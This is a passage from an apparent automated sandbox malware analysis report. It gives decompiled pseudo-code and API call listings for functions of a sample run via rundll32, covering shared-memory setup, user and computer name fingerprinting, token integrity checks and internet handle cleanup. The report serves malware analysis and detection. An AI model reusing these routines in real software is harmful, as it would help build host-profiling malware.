				void* _t22;
				intOrPtr _t31;
				long _t32;
				void* _t34;

				_t31 = __edx;
				_t14 =  &_v16;
				GetSystemTimeAsFileTime(_t14);
				_push(0x192);
				_push(0x54d38000);
				_push(_v12);
				_push(_v16);
				L02C82250();
				_push(_t14);
				_v16 = _t14;
				_t15 =  *0x2c841c4;
				_push(_t15 + 0x2c85149);
				_push(_t15 + 0x2c85048);
				_push(0x16);
				_push( &_v60);
				_v12 = _t31;
				L02C8224A();
				_t18 = _a4;
				if(_t18 == 0) {
					_t18 = 0x1000;
				}
				_t19 = CreateFileMappingW(0xffffffff, 0x2c841c8, 4, 0, _t18,  &_v60); // executed
				_t34 = _t19;
				if(_t34 == 0) {
					_t32 = GetLastError();
				} else {
					if(_a4 != 0 || GetLastError() == 0xb7) {
						_t22 = MapViewOfFile(_t34, 6, 0, 0, 0); // executed
						if(_t22 == 0) {
							_t32 = GetLastError();
							if(_t32 != 0) {
								goto L9;
							}
						} else {
							 *_a8 = _t34;
							 *_a12 = _t22;
							_t32 = 0;
						}
					} else {
						_t32 = 2;
						L9:
						CloseHandle(_t34);
					}
				}
				return _t32;
			}














                    0x02c81598
                    0x02c815a1
                    0x02c815a5
                    0x02c815ab
                    0x02c815b0
                    0x02c815b5
                    0x02c815b8
                    0x02c815bb
                    0x02c815c0
                    0x02c815c1
                    0x02c815c4
                    0x02c815cf
                    0x02c815d6
                    0x02c815da
                    0x02c815dc
                    0x02c815dd
                    0x02c815e0
                    0x02c815e5
                    0x02c815ef
                    0x02c815f1
                    0x02c815f1
                    0x02c81605
                    0x02c8160b
                    0x02c8160f
                    0x02c8165f
                    0x02c81611
                    0x02c8161a
                    0x02c81630
                    0x02c81638
                    0x02c8164a
                    0x02c8164e
                    0x00000000
                    0x00000000
                    0x02c8163a
                    0x02c8163d
                    0x02c81642
                    0x02c81644
                    0x02c81644
                    0x02c81625
                    0x02c81627
                    0x02c81650
                    0x02c81651
                    0x02c81651
                    0x02c8161a
                    0x02c81667

                    APIs
                    • GetSystemTimeAsFileTime.KERNEL32(?), ref: 02C815A5
                    • _aulldiv.NTDLL(?,?,54D38000,00000192), ref: 02C815BB
                    • _snwprintf.NTDLL ref: 02C815E0
                    • CreateFileMappingW.KERNELBASE(000000FF,02C841C8,00000004,00000000,?,?), ref: 02C81605
                    • GetLastError.KERNEL32 ref: 02C8161C
                    • MapViewOfFile.KERNEL32(00000000,00000006,00000000,00000000,00000000), ref: 02C81630
                    • GetLastError.KERNEL32 ref: 02C81648
                    • CloseHandle.KERNEL32(00000000), ref: 02C81651
                    • GetLastError.KERNEL32 ref: 02C81659
                    Memory Dump Source
                    • Source File: 00000005.00000002.636873013.0000000002C80000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C80000, based on PE: true
                    • Associated: 00000005.00000002.636873013.0000000002C85000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c80000_rundll32.jbxd
                    Similarity
                    • API ID: ErrorFileLast$Time$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
                    • String ID:
                    • API String ID: 1724014008-0
                    • Opcode ID: 3f34682b814097451973c571ef356becc6c54a372ea76466b653816a66e7e000
                    • Instruction ID: 8e8aaed8728ea43791862726504c924a74c7417cfaf1b96949645d160203ae3e
                    • Opcode Fuzzy Hash: 3f34682b814097451973c571ef356becc6c54a372ea76466b653816a66e7e000
                    • Instruction Fuzzy Hash: 1521C4B2940104FFD710AFA4DC84F9E37E9EB88358F19C165FA09E7140D7B099018BA1
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C9415A Relevance: 13.6, APIs: 9, Instructions: 72filetimeCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    C-Code - Quality: 74%
                    			E02C9415A(intOrPtr __edx, void** _a4, void** _a8) {
				intOrPtr _v8;
				struct _FILETIME* _v12;
				short _v56;
				struct _FILETIME* _t12;
				intOrPtr _t13;
				void* _t17;
				void* _t21;
				intOrPtr _t27;
				long _t28;
				void* _t30;

				_t27 = __edx;
				_t12 =  &_v12;
				GetSystemTimeAsFileTime(_t12);
				_push(0x192);
				_push(0x54d38000);
				_push(_v8);
				_push(_v12);
				L02C982D4();
				_push(_t12);
				_v12 = _t12;
				_t13 =  *0x2c9a348; // 0x278d5a8
				_t5 = _t13 + 0x2c9b7b4; // 0x5428d5c
				_t6 = _t13 + 0x2c9b644; // 0x530025
				_push(0x16);
				_push( &_v56);
				_v8 = _t27;
				L02C97F3A();
				_t17 = CreateFileMappingW(0xffffffff, 0x2c9a34c, 4, 0, 0x1000,  &_v56); // executed
				_t30 = _t17;
				if(_t30 == 0) {
					_t28 = GetLastError();
				} else {
					if(GetLastError() == 0xb7) {
						_t21 = MapViewOfFile(_t30, 6, 0, 0, 0); // executed
						if(_t21 == 0) {
							_t28 = GetLastError();
							if(_t28 != 0) {
								goto L6;
							}
						} else {
							 *_a4 = _t30;
							 *_a8 = _t21;
							_t28 = 0;
						}
					} else {
						_t28 = 2;
						L6:
						CloseHandle(_t30);
					}
				}
				return _t28;
			}













                    0x02c9415a
                    0x02c94162
                    0x02c94166
                    0x02c9416c
                    0x02c94171
                    0x02c94176
                    0x02c94179
                    0x02c9417c
                    0x02c94181
                    0x02c94182
                    0x02c94185
                    0x02c9418a
                    0x02c94191
                    0x02c9419b
                    0x02c9419d
                    0x02c9419e
                    0x02c941a1
                    0x02c941bd
                    0x02c941c3
                    0x02c941c7
                    0x02c94215
                    0x02c941c9
                    0x02c941d6
                    0x02c941e6
                    0x02c941ee
                    0x02c94200
                    0x02c94204
                    0x00000000
                    0x00000000
                    0x02c941f0
                    0x02c941f3
                    0x02c941f8
                    0x02c941fa
                    0x02c941fa
                    0x02c941d8
                    0x02c941da
                    0x02c94206
                    0x02c94207
                    0x02c94207
                    0x02c941d6
                    0x02c9421c

                    APIs
                    • GetSystemTimeAsFileTime.KERNEL32(?,?,00000000,?,?,?,?,?,?,02C925B1,?,?,4D283A53,?,?), ref: 02C94166
                    • _aulldiv.NTDLL(?,?,54D38000,00000192), ref: 02C9417C
                    • _snwprintf.NTDLL ref: 02C941A1
                    • CreateFileMappingW.KERNELBASE(000000FF,02C9A34C,00000004,00000000,00001000,?,?,?,?,?,00000000), ref: 02C941BD
                    • GetLastError.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,02C925B1,?,?,4D283A53,?), ref: 02C941CF
                    • MapViewOfFile.KERNEL32(00000000,00000006,00000000,00000000,00000000,?,?,?,?,00000000), ref: 02C941E6
                    • CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,?,?,?,?,?,?,02C925B1,?,?,4D283A53), ref: 02C94207
                    • GetLastError.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,02C925B1,?,?,4D283A53,?), ref: 02C9420F
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: File$ErrorLastTime$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
                    • String ID:
                    • API String ID: 1814172918-0
                    • Opcode ID: 3e2d04d1edb5e04a7167cf82711baf56d7c12685210ff60af0d5ac09b4404b83
                    • Instruction ID: ace487f9643d9c799bc76bfd37cdaed783f5c03851bf4387866eba61678d87f8
                    • Opcode Fuzzy Hash: 3e2d04d1edb5e04a7167cf82711baf56d7c12685210ff60af0d5ac09b4404b83
                    • Instruction Fuzzy Hash: A121B472A80604FBDB25EB64DC0DF9E77B9BB88754F110225F619E7180D770DA16CB90
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C93BD3 Relevance: 12.1, APIs: 8, Instructions: 103memoryCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 237 2c93bd3-2c93be7 238 2c93be9-2c93bee 237->238 239 2c93bf1-2c93c03 call 2c971cd 237->239 238->239 242 2c93c05-2c93c15 GetUserNameW 239->242 243 2c93c57-2c93c64 239->243 244 2c93c17-2c93c27 RtlAllocateHeap 242->244 245 2c93c66-2c93c7d GetComputerNameW 242->245 243->245 244->245 246 2c93c29-2c93c36 GetUserNameW 244->246 247 2c93cbb-2c93cdf 245->247 248 2c93c7f-2c93c90 RtlAllocateHeap 245->248 249 2c93c38-2c93c44 call 2c956b9 246->249 250 2c93c46-2c93c55 HeapFree 246->250 248->247 251 2c93c92-2c93c9b GetComputerNameW 248->251 249->250 250->245 253 2c93c9d-2c93ca9 call 2c956b9 251->253 254 2c93cac-2c93cb5 HeapFree 251->254 253->254 254->247
                    C-Code - Quality: 96%
                    			E02C93BD3(char __eax, void* __esi) {
				long _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v28;
				long _t34;
				signed int _t39;
				long _t50;
				char _t59;
				intOrPtr _t61;
				void* _t62;
				void* _t64;
				char _t65;
				intOrPtr* _t67;
				void* _t68;
				void* _t69;

				_t69 = __esi;
				_t65 = __eax;
				_v8 = 0;
				_v12 = __eax;
				if(__eax == 0) {
					_t59 =  *0x2c9a310; // 0xd448b889
					_v12 = _t59;
				}
				_t64 = _t69;
				E02C971CD( &_v12, _t64);
				if(_t65 != 0) {
					 *_t69 =  *_t69 ^  *0x2c9a344 ^ 0x6c7261ae;
				} else {
					GetUserNameW(0,  &_v8); // executed
					_t50 = _v8;
					if(_t50 != 0) {
						_t62 = RtlAllocateHeap( *0x2c9a2d8, 0, _t50 + _t50);
						if(_t62 != 0) {
							if(GetUserNameW(_t62,  &_v8) != 0) {
								_t64 = _t62;
								 *_t69 =  *_t69 ^ E02C956B9(_v8 + _v8, _t64);
							}
							HeapFree( *0x2c9a2d8, 0, _t62);
						}
					}
				}
				_t61 = __imp__;
				_v8 = _v8 & 0x00000000;
				GetComputerNameW(0,  &_v8);
				_t34 = _v8;
				if(_t34 != 0) {
					_t68 = RtlAllocateHeap( *0x2c9a2d8, 0, _t34 + _t34);
					if(_t68 != 0) {
						if(GetComputerNameW(_t68,  &_v8) != 0) {
							_t64 = _t68;
							 *(_t69 + 0xc) =  *(_t69 + 0xc) ^ E02C956B9(_v8 + _v8, _t64);
						}
						HeapFree( *0x2c9a2d8, 0, _t68);
					}
				}
				asm("cpuid");
				_t67 =  &_v28;
				 *_t67 = 1;
				 *((intOrPtr*)(_t67 + 4)) = _t61;
				 *((intOrPtr*)(_t67 + 8)) = 0;
				 *(_t67 + 0xc) = _t64;
				_t39 = _v16 ^ _v20 ^ _v28;
				 *(_t69 + 4) =  *(_t69 + 4) ^ _t39;
				return _t39;
			}



















                    0x02c93bd3
                    0x02c93bdb
                    0x02c93bdf
                    0x02c93be2
                    0x02c93be7
                    0x02c93be9
                    0x02c93bee
                    0x02c93bee
                    0x02c93bf4
                    0x02c93bf6
                    0x02c93c03
                    0x02c93c64
                    0x02c93c05
                    0x02c93c0a
                    0x02c93c10
                    0x02c93c15
                    0x02c93c23
                    0x02c93c27
                    0x02c93c36
                    0x02c93c3d
                    0x02c93c44
                    0x02c93c44
                    0x02c93c4f
                    0x02c93c4f
                    0x02c93c27
                    0x02c93c15
                    0x02c93c66
                    0x02c93c6c
                    0x02c93c76
                    0x02c93c78
                    0x02c93c7d
                    0x02c93c8c
                    0x02c93c90
                    0x02c93c9b
                    0x02c93ca2
                    0x02c93ca9
                    0x02c93ca9
                    0x02c93cb5
                    0x02c93cb5
                    0x02c93c90
                    0x02c93cc0
                    0x02c93cc2
                    0x02c93cc5
                    0x02c93cc7
                    0x02c93cca
                    0x02c93ccd
                    0x02c93cd7
                    0x02c93cdb
                    0x02c93cdf

                    APIs
                    • GetUserNameW.ADVAPI32(00000000,?), ref: 02C93C0A
                    • RtlAllocateHeap.NTDLL(00000000,?), ref: 02C93C21
                    • GetUserNameW.ADVAPI32(00000000,?), ref: 02C93C2E
                    • HeapFree.KERNEL32(00000000,00000000), ref: 02C93C4F
                    • GetComputerNameW.KERNEL32(00000000,00000000), ref: 02C93C76
                    • RtlAllocateHeap.NTDLL(00000000,00000000), ref: 02C93C8A
                    • GetComputerNameW.KERNEL32(00000000,00000000), ref: 02C93C97
                    • HeapFree.KERNEL32(00000000,00000000), ref: 02C93CB5
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: HeapName$AllocateComputerFreeUser
                    • String ID:
                    • API String ID: 3239747167-0
                    • Opcode ID: 83b97fb61df900a8d8c4c9f029163fb8bc577c44d919b8de8edf2f2df2f61beb
                    • Instruction ID: ce2aeb7e6722bd09085973261a24419eb74cb2a5f39651e0ff9bd0f6b92bcd60
                    • Opcode Fuzzy Hash: 83b97fb61df900a8d8c4c9f029163fb8bc577c44d919b8de8edf2f2df2f61beb
                    • Instruction Fuzzy Hash: 57314B71A00A05EFDB10DFA9CD89B6EB7F9FB88300F204669E505D3210E730EA60DB50
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C94BE7 Relevance: 12.1, APIs: 8, Instructions: 75networkCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    C-Code - Quality: 93%
                    			E02C94BE7(intOrPtr* __eax, void* __ebx, void* __ecx, void* __edi) {
				void* _t17;
				void* _t18;
				void* _t19;
				void* _t20;
				void* _t21;
				intOrPtr _t24;
				void* _t37;
				void* _t41;
				intOrPtr* _t45;

				_t41 = __edi;
				_t37 = __ebx;
				_t45 = __eax;
				_t16 =  *((intOrPtr*)(__eax + 0x20));
				if( *((intOrPtr*)(__eax + 0x20)) != 0) {
					E02C916B2(_t16, __ecx, 0xea60);
				}
				_t17 =  *(_t45 + 0x18);
				_push(_t37);
				_push(_t41);
				if(_t17 != 0) {
					InternetSetStatusCallback(_t17, 0);
					InternetCloseHandle( *(_t45 + 0x18)); // executed
				}
				_t18 =  *(_t45 + 0x14);
				if(_t18 != 0) {
					InternetSetStatusCallback(_t18, 0);
					InternetCloseHandle( *(_t45 + 0x14));
				}
				_t19 =  *(_t45 + 0x10);
				if(_t19 != 0) {
					InternetSetStatusCallback(_t19, 0);
					InternetCloseHandle( *(_t45 + 0x10));
				}
				_t20 =  *(_t45 + 0x1c);
				if(_t20 != 0) {
					CloseHandle(_t20);
				}
				_t21 =  *(_t45 + 0x20);
				if(_t21 != 0) {
					CloseHandle(_t21);
				}
				_t22 =  *((intOrPtr*)(_t45 + 8));
				if( *((intOrPtr*)(_t45 + 8)) != 0) {
					E02C961DA(_t22);
					 *((intOrPtr*)(_t45 + 8)) = 0;
					 *((intOrPtr*)(_t45 + 0x30)) = 0;
				}
				_t23 =  *((intOrPtr*)(_t45 + 0xc));
				if( *((intOrPtr*)(_t45 + 0xc)) != 0) {
					E02C961DA(_t23);
				}
				_t24 =  *_t45;
				if(_t24 != 0) {
					_t24 = E02C961DA(_t24);
				}
				_t46 =  *((intOrPtr*)(_t45 + 4));
				if( *((intOrPtr*)(_t45 + 4)) != 0) {
					return E02C961DA(_t46);
				}
				return _t24;
			}












                    0x02c94be7
                    0x02c94be7
                    0x02c94be9
                    0x02c94beb
                    0x02c94bf2
                    0x02c94bf9
                    0x02c94bf9
                    0x02c94bfe
                    0x02c94c01
                    0x02c94c08
                    0x02c94c11
                    0x02c94c15
                    0x02c94c1a
                    0x02c94c1a
                    0x02c94c1c
                    0x02c94c21
                    0x02c94c25
                    0x02c94c2a
                    0x02c94c2a
                    0x02c94c2c
                    0x02c94c31
                    0x02c94c35
                    0x02c94c3a
                    0x02c94c3a
                    0x02c94c3c
                    0x02c94c47
                    0x02c94c4a
                    0x02c94c4a
                    0x02c94c4c
                    0x02c94c51
                    0x02c94c54
                    0x02c94c54
                    0x02c94c56
                    0x02c94c5d
                    0x02c94c60
                    0x02c94c65
                    0x02c94c68
                    0x02c94c68
                    0x02c94c6b
                    0x02c94c70
                    0x02c94c73
                    0x02c94c73
                    0x02c94c78
                    0x02c94c7c
                    0x02c94c7f
                    0x02c94c7f
                    0x02c94c84
                    0x02c94c89
                    0x00000000
                    0x02c94c8c
                    0x02c94c93

                    APIs
                    • InternetSetStatusCallback.WININET(?,00000000), ref: 02C94C15
                    • InternetCloseHandle.WININET(?), ref: 02C94C1A
                    • InternetSetStatusCallback.WININET(?,00000000), ref: 02C94C25
                    • InternetCloseHandle.WININET(?), ref: 02C94C2A
                    • InternetSetStatusCallback.WININET(?,00000000), ref: 02C94C35
                    • InternetCloseHandle.WININET(?), ref: 02C94C3A
                    • CloseHandle.KERNEL32(?,00000000,00000102,?,?,02C92248,?,?,74CF81D0,00000000,00000000), ref: 02C94C4A
                    • CloseHandle.KERNEL32(?,00000000,00000102,?,?,02C92248,?,?,74CF81D0,00000000,00000000), ref: 02C94C54
                      • Part of subcall function 02C916B2: WaitForMultipleObjects.KERNEL32(00000002,02C97C47,00000000,02C97C47,?,?,?,02C97C47,0000EA60), ref: 02C916CD
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: Internet$CloseHandle$CallbackStatus$MultipleObjectsWait
                    • String ID:
                    • API String ID: 2824497044-0
                    • Opcode ID: 76b18944ef0117f399a6f401fdd8825a9c7cd8abfffd66c45060a9d83aaa8b52
                    • Instruction ID: e475b33d39f96a8e2ac34f54321be8621b703c333037b90e9f0f1c9f2ac7c631
                    • Opcode Fuzzy Hash: 76b18944ef0117f399a6f401fdd8825a9c7cd8abfffd66c45060a9d83aaa8b52
                    • Instruction Fuzzy Hash: 41114F76A00A58AFCA34AFA9DD98C1BB7EEFF842093550D19E086D3551C730F9468E60
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C95E40 Relevance: 10.6, APIs: 7, Instructions: 75COMMON
                    Download Yara Rule

                    Control-flow Graph

                    C-Code - Quality: 100%
                    			E02C95E40(long* _a4) {
				long _v8;
				void* _v12;
				void _v16;
				long _v20;
				int _t33;
				void* _t46;

				_v16 = 1;
				_v20 = 0x2000;
				if( *0x2c9a2fc > 5) {
					_v16 = 0;
					if(OpenProcessToken(0xffffffff, 0x20008,  &_v12) != 0) {
						GetTokenInformation(_v12, 0x14,  &_v16, 4,  &_v8); // executed
						_v8 = 0;
						GetTokenInformation(_v12, 0x19, 0, 0,  &_v8); // executed
						if(_v8 != 0) {
							_t46 = E02C933DC(_v8);
							if(_t46 != 0) {
								_t33 = GetTokenInformation(_v12, 0x19, _t46, _v8,  &_v8); // executed
								if(_t33 != 0) {
									_v20 =  *(GetSidSubAuthority( *_t46,  *(GetSidSubAuthorityCount( *_t46)) - 0x00000001 & 0x000000ff));
								}
								E02C961DA(_t46);
							}
						}
						CloseHandle(_v12);
					}
				}
				 *_a4 = _v20;
				return _v16;
			}









                    0x02c95e4d
                    0x02c95e54
                    0x02c95e5b
                    0x02c95e6f
                    0x02c95e7a
                    0x02c95e92
                    0x02c95e9f
                    0x02c95ea2
                    0x02c95ea7
                    0x02c95eb2
                    0x02c95eb6
                    0x02c95ec5
                    0x02c95ec9
                    0x02c95ee5
                    0x02c95ee5
                    0x02c95ee9
                    0x02c95ee9
                    0x02c95eee
                    0x02c95ef2
                    0x02c95ef8
                    0x02c95ef9
                    0x02c95f00
                    0x02c95f06

                    APIs
                    • OpenProcessToken.ADVAPI32(000000FF,00020008,00000000,00000000), ref: 02C95E72
                    • GetTokenInformation.KERNELBASE(00000000,00000014(TokenIntegrityLevel),00000001,00000004,?,00000000), ref: 02C95E92
                    • GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,?), ref: 02C95EA2
                    • CloseHandle.KERNEL32(00000000), ref: 02C95EF2
                      • Part of subcall function 02C933DC: RtlAllocateHeap.NTDLL(00000000,00000000,02C962F6), ref: 02C933E8
                    • GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,?,?,?,?), ref: 02C95EC5
                    • GetSidSubAuthorityCount.ADVAPI32(00000000), ref: 02C95ECD
                    • GetSidSubAuthority.ADVAPI32(00000000,?), ref: 02C95EDD
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: Token$Information$Authority$AllocateCloseCountHandleHeapOpenProcess
                    • String ID:
                    • API String ID: 1295030180-0
                    • Opcode ID: ed3e73e2a7bbb69b8319fc2f66b42bffa8117b3ec04373c26963123394de8b20
                    • Instruction ID: 6bc8254d335f76b7c0fd0d3a55970c9dd8ec286af14f6555c619892034722efc
                    • Opcode Fuzzy Hash: ed3e73e2a7bbb69b8319fc2f66b42bffa8117b3ec04373c26963123394de8b20
                    • Instruction Fuzzy Hash: C1214875D00249BFEF01DF90DC88EAEBBBDEB48304F1000A5E911A6190CB768A64EF60
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C96675 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68stringCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    C-Code - Quality: 64%
                    			E02C96675(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				intOrPtr _t9;
				char* _t11;
				intOrPtr _t13;
				char* _t19;
				char* _t28;
				void* _t33;
				void* _t34;
				char* _t36;
				void* _t38;
				intOrPtr* _t39;
				char* _t40;
				char* _t42;
				char* _t43;

				_t34 = __edx;
				_push(__ecx);
				_t9 =  *0x2c9a348; // 0x278d5a8
				_t1 = _t9 + 0x2c9b516; // 0x253d7325
				_t36 = 0; // executed
				_t11 = E02C95815(__ecx, _t1); // executed
				_t28 = _t11;
				if(_t28 != 0) {
					_t39 = __imp__;
					_t13 =  *_t39(_t28, _t38);
					_v8 = _t13;
					_t6 =  *_t39(_a4) + 1; // 0x5429601
					_t40 = E02C933DC(_v8 + _t6);
					if(_t40 != 0) {
						strcpy(_t40, _t28);
						_pop(_t33);
						__imp__(_t40, _a4);
						_t19 = E02C95063(_t33, _t34, _t40, _a8); // executed
						_t36 = _t19;
						E02C961DA(_t40);
						_t42 = E02C94AC7(StrTrimA(_t36, "="), _t36);
						if(_t42 != 0) {
							E02C961DA(_t36);
							_t36 = _t42;
						}
						_t43 = E02C92708(_t36, _t33);
						if(_t43 != 0) {
							E02C961DA(_t36);
							_t36 = _t43;
						}
					}
					E02C961DA(_t28);
				}
				return _t36;
			}

















                    0x02c96675
                    0x02c96678
                    0x02c96679
                    0x02c96680
                    0x02c96687
                    0x02c96689
                    0x02c9668e
                    0x02c96692
                    0x02c96699
                    0x02c966a0
                    0x02c966a5
                    0x02c966ad
                    0x02c966b7
                    0x02c966bb
                    0x02c966bf
                    0x02c966c5
                    0x02c966ca
                    0x02c966d4
                    0x02c966da
                    0x02c966dc
                    0x02c966f3
                    0x02c966f7
                    0x02c966fa
                    0x02c966ff
                    0x02c966ff
                    0x02c96708
                    0x02c9670c
                    0x02c9670f
                    0x02c96714
                    0x02c96714
                    0x02c9670c
                    0x02c96717
                    0x02c9671c
                    0x02c96722

                    APIs
                      • Part of subcall function 02C95815: lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,02C9668E,253D7325,00000000,00000000,?,7491C740,02C93ECE), ref: 02C9587C
                      • Part of subcall function 02C95815: sprintf.NTDLL ref: 02C9589D
                    • lstrlen.KERNEL32(00000000,00000000,253D7325,00000000,00000000,?,7491C740,02C93ECE,00000000,05429600), ref: 02C966A0
                    • lstrlen.KERNEL32(00000000,?,7491C740,02C93ECE,00000000,05429600), ref: 02C966A8
                      • Part of subcall function 02C933DC: RtlAllocateHeap.NTDLL(00000000,00000000,02C962F6), ref: 02C933E8
                    • strcpy.NTDLL ref: 02C966BF
                    • lstrcat.KERNEL32(00000000,00000000), ref: 02C966CA
                      • Part of subcall function 02C95063: lstrlen.KERNEL32(00000000,00000000,02C93ECE,00000000,?,02C966D9,00000000,02C93ECE,?,7491C740,02C93ECE,00000000,05429600), ref: 02C95074
                      • Part of subcall function 02C961DA: RtlFreeHeap.NTDLL(00000000,00000000,02C96383,00000000,?,00000000,00000000), ref: 02C961E6
                    • StrTrimA.SHLWAPI(00000000,=,00000000,00000000,02C93ECE,?,7491C740,02C93ECE,00000000,05429600), ref: 02C966E7
                      • Part of subcall function 02C94AC7: lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,02C966F3,00000000,?,7491C740,02C93ECE,00000000,05429600), ref: 02C94AD1
                      • Part of subcall function 02C94AC7: _snprintf.NTDLL ref: 02C94B2F
                    Strings
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: lstrlen$Heap$AllocateFreeTrim_snprintflstrcatsprintfstrcpy
                    • String ID: =
                    • API String ID: 2864389247-1428090586
                    • Opcode ID: a4ccbb266b40294059994d48f2a722dae8407850d3dbb86b4bd81ea031471e91
                    • Instruction ID: 3222ad58dd16f9743379e70589246debb48420b75bd194256ab9d3183d124a3a
                    • Opcode Fuzzy Hash: a4ccbb266b40294059994d48f2a722dae8407850d3dbb86b4bd81ea031471e91
                    • Instruction Fuzzy Hash: 3E119E32911125AB8F12ABB8DC8CCAE36AEAF896643150116F904A7241DF35DA026FE0
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C81142 Relevance: 9.1, APIs: 6, Instructions: 81libraryloaderCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 337 2c81142-2c81154 call 2c82046 340 2c8115a-2c8118f GetModuleHandleA GetProcAddress 337->340 341 2c81215 337->341 343 2c8120d-2c81213 call 2c81cd6 340->343 344 2c81191-2c811a5 GetProcAddress 340->344 342 2c8121c-2c81223 341->342 343->342 344->343 346 2c811a7-2c811bb GetProcAddress 344->346 346->343 348 2c811bd-2c811d1 GetProcAddress 346->348 348->343 349 2c811d3-2c811e7 GetProcAddress 348->349 349->343 350 2c811e9-2c811fa call 2c81e76 349->350 352 2c811ff-2c81204 350->352 352->343 353 2c81206-2c8120b 352->353 353->342
                    C-Code - Quality: 100%
                    			E02C81142(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				_Unknown_base(*)()* _t29;
				_Unknown_base(*)()* _t33;
				_Unknown_base(*)()* _t36;
				_Unknown_base(*)()* _t39;
				_Unknown_base(*)()* _t42;
				intOrPtr _t46;
				struct HINSTANCE__* _t50;
				intOrPtr _t56;

				_t56 = E02C82046(0x20);
				if(_t56 == 0) {
					_v8 = 8;
				} else {
					_t50 = GetModuleHandleA( *0x2c841c4 + 0x2c8512f);
					_v8 = 0x7f;
					_t29 = GetProcAddress(_t50,  *0x2c841c4 + 0x2c85139);
					 *(_t56 + 0xc) = _t29;
					if(_t29 == 0) {
						L8:
						E02C81CD6(_t56);
					} else {
						_t33 = GetProcAddress(_t50,  *0x2c841c4 + 0x2c85000);
						 *(_t56 + 0x10) = _t33;
						if(_t33 == 0) {
							goto L8;
